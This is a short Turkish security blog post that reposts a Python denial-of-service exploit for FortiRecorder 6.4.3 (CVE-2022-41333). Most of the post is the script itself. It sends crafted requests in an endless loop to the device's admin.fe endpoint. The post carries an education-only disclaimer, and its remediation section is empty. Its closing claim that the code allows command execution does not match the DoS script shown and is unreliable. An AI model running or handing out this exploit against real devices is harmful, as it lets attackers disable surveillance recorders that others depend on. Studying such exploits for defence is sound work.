Ali Can Gönüllü tarafından 2023-04-14 10:34:16 tarihinde yazıldı. Tahmini okunma süresi 1 dakika, 24 saniye.
Çalışmalarım için bağış yapmak isterseniz Patreon hesabımdan bağışta bulunabilirsiniz.
Blog adresinde yazılanlar sadece eğitim amacıyla deneysel olarak hazırlanmıştır. Konu içerisinde geçen yöntemleri kendi oluşturduğunuz test ortamında denemenizi tavsiye ederiz.
Herhangi bir tarih, yer ve/veya mekanda oluşacak zararlardan alicangonullu.org, alicangonullu.org yöneticisi ve/veya konu yazarı mesul değildir.
Zafiyet Adı: FortiRecorder 6.4.3 - Denial of Service
Zafiyet Kabiliyetleri: Cihazı ve/veya yazılımı bir süre ve/veya kalıcı devre dışı bırakma
Zafiyet Linki: FortiRecorder 6.4.3 - Denial of Service - Hardware dos Exploit (exploit-db.com)
Zafiyet Ayrıntıları
import requests
import warnings
import sys
from urllib.parse import unquote
warnings.filterwarnings('ignore', message='Unverified HTTPS request')
def POST(target, req_type, payload):
print("[+] Target : "+target)
print("[+] Request Type: POST")
print("[+] Payload : " +payload)
post_url = target+"/module/admin.fe"
post_headers = {"User-Agent": "CVE-2022-41333", "Content-Type": "application/x-www-form-urlencoded"}
url_decoder = unquote(payload)
full_payload = "fewReq="+url_decoder
while True:
r = requests.post(post_url, headers=post_headers, data=full_payload, verify=False)
if "Failed: Access denied" in r.text:
print("[+] Payload Sent.")
else:
print("[!] Something went wrong!")
print(r.text)
def GET(target, req_type, payload):
print("[+] Target : "+target)
print("[+] Request Type: GET")
print("[+] Payload : " +payload)
while True:
url = target+"/module/admin.fe?fewReq="+payload
headers = {"User-Agent": "CVE-2022-41333", "Connection": "close"}
r = requests.get(url, headers=headers, verify=False)
if "Failed: Access denied" in r.text:
print("[+] Payload Sent.")
else:
print("[!] Something went wrong!")
print(r.text)
Bu kodla beraber FortiRecorder cihazının içerisinde bir komut çalıştırılabilecektir
Zafiyetin Çözümü